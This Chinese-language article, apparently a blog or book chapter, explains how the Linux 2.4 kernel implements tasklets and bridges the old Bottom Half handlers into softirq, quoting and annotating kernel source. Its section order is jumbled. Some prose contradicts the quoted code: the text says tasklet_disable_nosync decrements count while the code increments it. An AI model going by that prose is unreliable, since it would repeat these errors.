
原有的32个BH函数指针被保留,定义在kernel/softirq.c文件中:


static void (*bh_base[32])(void);



但是,每个BH函数都对应有一个tasklet,并由tasklet的可执行函数func来负责调用相应的bh函数(func函数的参数指定调用哪一个BH函数)。与32个BH函数指针相对应的tasklet的定义如下所示(kernel/softirq.c):


struct tasklet_struct bh_task_vec[32];



上述tasklet数组使系统全局的,它对所有的CPU均可见。由于在某一个时刻只能有一个CPU在执行BH函数,因此定义一个全局的自旋锁来保护BH函数,如下所示(kernel/softirq.c):


spinlock_t global_bh_lock = SPIN_LOCK_UNLOCKED;



6.3.2 初始化

在softirq机制的初始化函数softirq_init()中将bh_task_vec[32]数组中的每一个tasklet中的func函
数指针都设置为指向同一个函数bh_action,而data成员(也即func函数的调用参数)则被设置成该tasklet在数组中的索引值,如下所
示:


void __init softirq_init()


{


……


for (i=0; i<32; i++)


tasklet_init(bh_task_vec+i, bh_action, i);


……


}


因此,bh_action()函数将负责相应地调用参数所指定的bh函数。该函数是连接tasklet机制与Bottom Half机制的关键所在。



6.2.3 bh_action()函数


该函数的源码如下(kernel/softirq.c):


static void bh_action(unsigned long nr)


{


int cpu = smp_processor_id();



if (!spin_trylock(&global_bh_lock))


goto resched;



if (!hardirq_trylock(cpu))


goto resched_unlock;



if (bh_base[nr])


bh_base[nr]();



hardirq_endlock(cpu);


spin_unlock(&global_bh_lock);


return;



resched_unlock:


spin_unlock(&global_bh_lock);


resched:


mark_bh(nr);


}


对该函数的注释如下:

①首先,调用spin_trylock()函数试图对自旋锁global_bh_lock进行加锁,同时该函数还将返回自旋锁
global_bh_lock的原有值的非。因此,如果global_bh_lock已被某个CPU上锁而为非0值(那个CPU肯定在执行某个BH函
数),那么spin_trylock()将返回为0表示上锁失败,在这种情况下,当前CPU是不能执行BH函数的,因为另一个CPU正在执行BH函数,于
是执行goto语句跳转到resched程序段,以便在当前CPU上再一次调度该BH函数。


②调用hardirq_trylock()函数锁定当前CPU,确保当前CPU不是处于硬件中断请求服务中,如果锁定失败,跳转到resched_unlock程序段,以便先对global_bh_lock解锁,在重新调度一次该BH函数。


③此时,我们已经可以放心地在当前CPU上执行BH函数了。当然,对应的BH函数指针bh_base[nr]必须有效才行。


④从BH函数返回后,先调用hardirq_endlock()函数(实际上它什么也不干,调用它只是为了保此加、解锁的成对关系),然后解除自旋锁global_bh_lock,最后函数就可以返回了。


⑤resched_unlock程序段:先解除自旋锁global_bh_lock,然后执行reched程序段。


⑥resched程序段:当某个CPU正在执行BH函数时,当前CPU就不能通过bh_action()函数来调用执行任何BH函数,所以就通过调用mark_bh()函数在当前CPU上再重新调度一次,以便将这个BH函数留待下次软中断服务时执行。



6.3.4 Bottom Half的原有接口函数


(1)init_bh()函数


该函数用来在bh_base[]数组登记一个指定的bh函数,如下所示(kernel/softirq.c):


void init_bh(int nr, void (*routine)(void))


{


bh_base[nr] = routine;


mb();


}



(2)remove_bh()函数


该函数用来在bh_base[]数组中注销指定的函数指针,同时将相对应的tasklet杀掉。如下所示(kernel/softirq.c):


void remove_bh(int nr)


{


tasklet_kill(bh_task_vec+nr);


bh_base[nr] = NULL;


}



(3)mark_bh()函数

该函数用来向当前CPU标记由一个BH函数等待去执行。它实际上通过调用tasklet_hi_schedule()函数将相应的tasklet
加入到当前CPU的tasklet队列tasklet_hi_vec[cpu]中,然后触发软中断请求HI_SOFTIRQ,如下所示
(include/linux/interrupt.h):


static inline void mark_bh(int nr)


{


tasklet_hi_schedule(bh_task_vec+nr);


}



6.3.5 预定义的BH函数


在32个BH函数指针中,大多数已经固定用于一些常见的外设,比如:第0个BH函数就固定地用于时钟中断。Linux在头文件include/linux/interrupt.h中定义了这些已经被使用的BH函数所引,如下所示:


enum {


TIMER_BH = 0,


TQUEUE_BH,


DIGI_BH,


SERIAL_BH,


RISCOM8_BH,


SPECIALIX_BH,


AURORA_BH,


ESP_BH,


SCSI_BH,


IMMEDIATE_BH,


CYCLADES_BH,


CM206_BH,


JS_BH,


MACSERIAL_BH,


ISICOM_BH


};

6.2 tasklet机制


Tasklet机制是一种较为特殊的软中断。Tasklet一词的原意是“小片任务”的意思,这里是指一小段可执行的代码,且通常以函数的形式出现。软中断向量HI_SOFTIRQ和TASKLET_SOFTIRQ均是用tasklet机制来实现的。


从某种程度上讲,tasklet机制是Linux内核对BH机制的一种扩展。在2.4内核引入了softirq机制后,原有的BH机制正是通过
tasklet机制这个桥梁来纳入softirq机制的整体框架中的。正是由于这种历史的延伸关系,使得tasklet机制与一般意义上的软中断有所不
同,而呈现出以下两个显著的特点:


1. 与一般的软中断不同,某一段tasklet代码在某个时刻只能在一个CPU上运行,而不像一般的软中断服务函数(即softirq_action结构中的action函数指针)那样——在同一时刻可以被多个CPU并发地执行。


2. 与BH机制不同,不同的tasklet代码在同一时刻可以在多个CPU上并发地执行,而不像BH机制那样必须严格地串行化执行(也即在同一时刻系统中只能有一个CPU执行BH函数)。



6.2.1 tasklet描述符


Linux用数据结构tasklet_struct来描述一个tasklet。该数据结构定义在include/linux/interrupt.h头文件中。如下所示:


struct tasklet_struct


{



struct tasklet_struct *next;


unsigned long state;


atomic_t count;


void (*func)(unsigned long);


unsigned long data;


};


各成员的含义如下:


(1)next指针:指向下一个tasklet的指针。

(2)state:定义了这个tasklet的当前状态。这一个32位的无符号长整数,当前只使用了bit[1]和bit[0]两个状态位。其
中,bit[1]=1表示这个tasklet当前正在某个CPU上被执行,它仅对SMP系统才有意义,其作用就是为了防止多个CPU同时执行一个
tasklet的情形出现;bit[0]=1表示这个tasklet已经被调度去等待执行了。对这两个状态位的宏定义如下所示
(interrupt.h):


enum


{


TASKLET_STATE_SCHED, /* Tasklet is scheduled for execution */


TASKLET_STATE_RUN /* Tasklet is running (SMP only) */


};

(3)原子计数count:对这个tasklet的引用计数值。NOTE!只有当count等于0时,tasklet代码段才能执行,也即此时
tasklet是被使能的;如果count非零,则这个tasklet是被禁止的。任何想要执行一个tasklet代码段的人都首先必须先检查其
count成员是否为0。


(4)函数指针func:指向以函数形式表现的可执行tasklet代码段。


(5)data:函数func的参数。这是一个32位的无符号整数,其具体含义可供func函数自行解释,比如将其解释成一个指向某个用户自定义数据结构的地址值。



Linux在interrupt.h头文件中又定义了两个用来定义tasklet_struct结构变量的辅助宏:


#define DECLARE_TASKLET(name, func, data) \


struct tasklet_struct name = { NULL, 0, ATOMIC_INIT(0), func, data }



#define DECLARE_TASKLET_DISABLED(name, func, data) \


struct tasklet_struct name = { NULL, 0, ATOMIC_INIT(1), func, data }

显然,从上述源代码可以看出,用DECLARE_TASKLET宏定义的tasklet在初始化时是被使能的(enabled),因为其
count成员为0。而用DECLARE_TASKLET_DISABLED宏定义的tasklet在初始时是被禁止的(disabled),因为其
count等于1。



6.2.2 改变一个tasklet状态的操作


在这里,tasklet状态指两个方面:(1)state成员所表示的运行状态;(2)count成员决定的使能/禁止状态。


(1)改变一个tasklet的运行状态

state成员中的bit[0]表示一个tasklet是否已被调度去等待执行,bit[1]表示一个tasklet是否正在某个CPU上执行。
对于state变量中某位的改变必须是一个原子操作,因此可以用定义在include/asm/bitops.h头文件中的位操作来进行。


由于bit[1]这一位(即TASKLET_STATE_RUN)仅仅对于SMP系统才有意义,因此Linux在Interrupt.h头文件中显示地定义了对TASKLET_STATE_RUN位的操作。如下所示:


#ifdef CONFIG_SMP


#define tasklet_trylock(t) (!test_and_set_bit(TASKLET_STATE_RUN, &(t)->state))


#define tasklet_unlock_wait(t) while (test_bit(TASKLET_STATE_RUN, &(t)->state)) { /* NOTHING */ }


#define tasklet_unlock(t) clear_bit(TASKLET_STATE_RUN, &(t)->state)


#else


#define tasklet_trylock(t) 1


#define tasklet_unlock_wait(t) do { } while (0)


#define tasklet_unlock(t) do { } while (0)


#endif

显然,在SMP系统同,tasklet_trylock()宏将把一个tasklet_struct结构变量中的state成员中的bit[1]
位设置成1,同时还返回bit[1]位的非。因此,如果bit[1]位原有值为1(表示另外一个CPU正在执行这个tasklet代码),那么
tasklet_trylock()宏将返回值0,也就表示上锁不成功。如果bit[1]位的原有值为0,那么tasklet_trylock()宏将返
回值1,表示加锁成功。而在单CPU系统中,tasklet_trylock()宏总是返回为1。

任何想要执行某个tasklet代码的程序都必须首先调用宏tasklet_trylock()来试图对这个tasklet进行上锁(即设置
TASKLET_STATE_RUN位),且只能在上锁成功的情况下才能执行这个tasklet。建议!即使你的程序只在CPU系统上运行,你也要在执行
tasklet之前调用tasklet_trylock()宏,以便使你的代码获得良好可移植性。

在SMP系统中,tasklet_unlock_wait()宏将一直不停地测试TASKLET_STATE_RUN位的值,直到该位的值变为
0(即一直等待到解锁),假如:CPU0正在执行tasklet A的代码,在此期间,CPU1也想执行tasklet
A的代码,但CPU1发现tasklet
A的TASKLET_STATE_RUN位为1,于是它就可以通过tasklet_unlock_wait()宏等待tasklet
A被解锁(也即TASKLET_STATE_RUN位被清零)。在单CPU系统中,这是一个空操作。


宏tasklet_unlock()用来对一个tasklet进行解锁操作,也即将TASKLET_STATE_RUN位清零。在单CPU系统中,这是一个空操作。



(2)使能/禁止一个tasklet


使能与禁止操作往往总是成对地被调用的,tasklet_disable()函数如下(interrupt.h):


static inline void tasklet_disable(struct tasklet_struct *t)


{


tasklet_disable_nosync(t);


tasklet_unlock_wait(t);


}


函数tasklet_disable_nosync()也是一个静态inline函数,它简单地通过原子操作将count成员变量的值减1。如下所示(interrupt.h):


static inline void tasklet_disable_nosync(struct tasklet_struct *t)


{


atomic_inc(&t->count);


}


函数tasklet_enable()用于使能一个tasklet,如下所示(interrupt.h):


static inline void tasklet_enable(struct tasklet_struct *t)


{


atomic_dec(&t->count);


}



6.2.3 tasklet描述符的初始化与杀死


函数tasklet_init()用来初始化一个指定的tasklet描述符,其源码如下所示(kernel/softirq.c):


void tasklet_init(struct tasklet_struct *t,


void (*func)(unsigned long), unsigned long data)


{


t->func = func;


t->data = data;


t->state = 0;


atomic_set(&t->count, 0);


}



函数tasklet_kill()用来将一个已经被调度了的tasklet杀死,即将其恢复到未调度的状态。其源码如下所示(kernel/softirq.c):


void tasklet_kill(struct tasklet_struct *t)


{


if (in_interrupt())


printk(“Attempt to kill tasklet from interrupt\n”);



while (test_and_set_bit(TASKLET_STATE_SCHED, &t->state)) {


current->state = TASK_RUNNING;


do {


current->policy |= SCHED_YIELD;


schedule();


} while (test_bit(TASKLET_STATE_SCHED, &t->state));


}


tasklet_unlock_wait(t);


clear_bit(TASKLET_STATE_SCHED, &t->state);


}



6.2.4 tasklet对列


多个tasklet可以通过tasklet描述符中的next成员指针链接成一个单向对列。为此,Linux专门在头文件include/linux/interrupt.h中定义了数据结构tasklet_head来描述一个tasklet对列的头部指针。如下所示:


struct tasklet_head


{


struct tasklet_struct *list;


} __attribute__ ((__aligned__(SMP_CACHE_BYTES)));

尽管tasklet机制是特定于软中断向量HI_SOFTIRQ和TASKLET_SOFTIRQ的一种实现,但是tasklet机制仍然属于
softirq机制的整体框架范围内的,因此,它的设计与实现仍然必须坚持“谁触发,谁执行”的思想。为此,Linux为系统中的每一个CPU都定义了一
个tasklet对列头部,来表示应该有各个CPU负责执行的tasklet对列。如下所示(kernel/softirq.c):


struct tasklet_head tasklet_vec[NR_CPUS] __cacheline_aligned;


struct tasklet_head tasklet_hi_vec[NR_CPUS] __cacheline_aligned;

其中,tasklet_vec[]数组用于软中断向量TASKLET_SOFTIRQ,而tasklet_hi_vec[]数组则用于软中断向量
HI_SOFTIRQ。也即,如果CPUi(0≤i≤NR_CPUS-1)触发了软中断向量TASKLET_SOFTIRQ,那么对列
tasklet_vec[i]中的每一个tasklet都将在CPUi服务于软中断向量TASKLET_SOFTIRQ时被CPUi所执行。同样地,如果
CPUi(0≤i≤NR_CPUS-1)触发了软中断向量HI_SOFTIRQ,那么队列tasklet_vec[i]中的每一个tasklet都将
CPUi在对软中断向量HI_SOFTIRQ进行服务时被CPUi所执行。

队列tasklet_vec[I]和tasklet_hi_vec[I]中的各个tasklet是怎样被所CPUi所执行的呢?其关键就是软中
断向量TASKLET_SOFTIRQ和HI_SOFTIRQ的软中断服务程序——tasklet_action()函数和
tasklet_hi_action()函数。下面我们就来分析这两个函数。



6.2.5 软中断向量TASKLET_SOFTIRQ和HI_SOFTIRQ

Linux为软中断向量TASKLET_SOFTIRQ和HI_SOFTIRQ实现了专用的触发函数和软中断服务函数。其中,
tasklet_schedule()函数和tasklet_hi_schedule()函数分别用来在当前CPU上触发软中断向量
TASKLET_SOFTIRQ和HI_SOFTIRQ,并把指定的tasklet加入当前CPU所对应的tasklet队列中去等待执行。而
tasklet_action()函数和tasklet_hi_action()函数则分别是软中断向量TASKLET_SOFTIRQ和
HI_SOFTIRQ的软中断服务函数。在初始化函数softirq_init()中,这两个软中断向量对应的描述符softirq_vec[0]和
softirq_vec[3]中的action函数指针就被分别初始化成指向函数tasklet_hi_action()和函数
tasklet_action()。



(1)软中断向量TASKLET_SOFTIRQ的触发函数tasklet_schedule()


该函数实现在include/linux/interrupt.h头文件中,是一个inline函数。其源码如下所示:


static inline void tasklet_schedule(struct tasklet_struct *t)


{


if (!test_and_set_bit(TASKLET_STATE_SCHED, &t->state)) {


int cpu = smp_processor_id();


unsigned long flags;



local_irq_save(flags);


t->next = tasklet_vec[cpu].list;


tasklet_vec[cpu].list = t;


__cpu_raise_softirq(cpu, TASKLET_SOFTIRQ);


local_irq_restore(flags);


}


}


该函数的参数t指向要在当前CPU上被执行的tasklet。对该函数的NOTE如下:

①调用test_and_set_bit()函数将待调度的tasklet的state成员变量的bit[0]位(也即
TASKLET_STATE_SCHED位)设置为1,该函数同时还返回TASKLET_STATE_SCHED位的原有值。因此如果bit[0]为的原
有值已经为1,那就说明这个tasklet已经被调度到另一个CPU上去等待执行了。由于一个tasklet在某一个时刻只能由一个CPU来执行,因此
tasklet_schedule()函数什么也不做就直接返回了。否则,就继续下面的调度操作。


②首先,调用local_irq_save()函数来关闭当前CPU的中断,以保证下面的步骤在当前CPU上原子地被执行。


③然后,将待调度的tasklet添加到当前CPU对应的tasklet队列的首部。


④接着,调用__cpu_raise_softirq()函数在当前CPU上触发软中断请求TASKLET_SOFTIRQ。


⑤最后,调用local_irq_restore()函数来开当前CPU的中断。



(2)软中断向量TASKLET_SOFTIRQ的服务程序tasklet_action()

函数tasklet_action()是tasklet机制与软中断向量TASKLET_SOFTIRQ的联系纽带。正是该函数将当前CPU的
tasklet队列中的各个tasklet放到当前CPU上来执行的。该函数实现在kernel/softirq.c文件中,其源代码如下:


static void tasklet_action(struct softirq_action *a)


{


int cpu = smp_processor_id();


struct tasklet_struct *list;



local_irq_disable();


list = tasklet_vec[cpu].list;


tasklet_vec[cpu].list = NULL;


local_irq_enable();



while (list != NULL) {


struct tasklet_struct *t = list;



list = list->next;



if (tasklet_trylock(t)) {


if (atomic_read(&t->count) == 0) {


clear_bit(TASKLET_STATE_SCHED, &t->state);



t->func(t->data);


/*


* talklet_trylock() uses test_and_set_bit that imply


* an mb when it returns zero, thus we need the explicit


* mb only here: while closing the critical section.


*/


#ifdef CONFIG_SMP


smp_mb__before_clear_bit();


#endif


tasklet_unlock(t);


continue;


}


tasklet_unlock(t);


}


local_irq_disable();


t->next = tasklet_vec[cpu].list;


tasklet_vec[cpu].list = t;


__cpu_raise_softirq(cpu, TASKLET_SOFTIRQ);


local_irq_enable();


}


}


注释如下:

①首先,在当前CPU关中断的情况下,“原子”地读取当前CPU的tasklet队列头部指针,将其保存到局部变量list指针中,然后将当前
CPU的tasklet队列头部指针设置为NULL,以表示理论上当前CPU将不再有tasklet需要执行(但最后的实际结果却并不一定如此,下面将会
看到)。


②然后,用一个while{}循环来遍历由list所指向的tasklet队列,队列中的各个元素就是将在当前CPU上执行的tasklet。循环体的执行步骤如下:


l 用指针t来表示当前队列元素,即当前需要执行的tasklet。


l 更新list指针为list->next,使它指向下一个要执行的tasklet。

l
用tasklet_trylock()宏试图对当前要执行的tasklet(由指针t所指向)进行加锁,如果加锁成功(当前没有任何其他CPU正在执行这
个tasklet),则用原子读函数atomic_read()进一步判断count成员的值。如果count为0,说明这个tasklet是允许执行
的,于是:(1)先清除TASKLET_STATE_SCHED位;(2)然后,调用这个tasklet的可执行函数func;(3)执行barrier
()操作;(4)调用宏tasklet_unlock()来清除TASKLET_STATE_RUN位。(5)最后,执行continue语句跳过下面的
步骤,回到while循环继续遍历队列中的下一个元素。如果count不为0,说明这个tasklet是禁止运行的,于是调用
tasklet_unlock()清除前面用tasklet_trylock()设置的TASKLET_STATE_RUN位。

l
如果tasklet_trylock()加锁不成功,或者因为当前tasklet的count值非0而不允许执行时,我们必须将这个tasklet重新放
回到当前CPU的tasklet队列中,以留待这个CPU下次服务软中断向量TASKLET_SOFTIRQ时再执行。为此进行这样几步操作:(1)先关
CPU中断,以保证下面操作的原子性。(2)把这个tasklet重新放回到当前CPU的tasklet队列的首部;(3)调用
__cpu_raise_softirq()函数在当前CPU上再触发一次软中断请求TASKLET_SOFTIRQ;(4)开中断。


l 最后,回到while循环继续遍历队列。



(3)软中断向量HI_SOFTIRQ的触发函数tasklet_hi_schedule()


该函数与tasklet_schedule()几乎相同,其源码如下(include/linux/interrupt.h):


static inline void tasklet_hi_schedule(struct tasklet_struct *t)


{


if (!test_and_set_bit(TASKLET_STATE_SCHED, &t->state)) {


int cpu = smp_processor_id();


unsigned long flags;



local_irq_save(flags);


t->next = tasklet_hi_vec[cpu].list;


tasklet_hi_vec[cpu].list = t;


__cpu_raise_softirq(cpu, HI_SOFTIRQ);


local_irq_restore(flags);


}


}



(4)软中断向量HI_SOFTIRQ的服务函数tasklet_hi_action()


该函数与tasklet_action()函数几乎相同,其源码如下(kernel/softirq.c):


static void tasklet_hi_action(struct softirq_action *a)


{


int cpu = smp_processor_id();


struct tasklet_struct *list;



local_irq_disable();


list = tasklet_hi_vec[cpu].list;


tasklet_hi_vec[cpu].list = NULL;


local_irq_enable();



while (list != NULL) {


struct tasklet_struct *t = list;



list = list->next;



if (tasklet_trylock(t)) {


if (atomic_read(&t->count) == 0) {


clear_bit(TASKLET_STATE_SCHED, &t->state);



t->func(t->data);


tasklet_unlock(t);


continue;


}


tasklet_unlock(t);


}


local_irq_disable();


t->next = tasklet_hi_vec[cpu].list;


tasklet_hi_vec[cpu].list = t;


__cpu_raise_softirq(cpu, HI_SOFTIRQ);


local_irq_enable();


}


}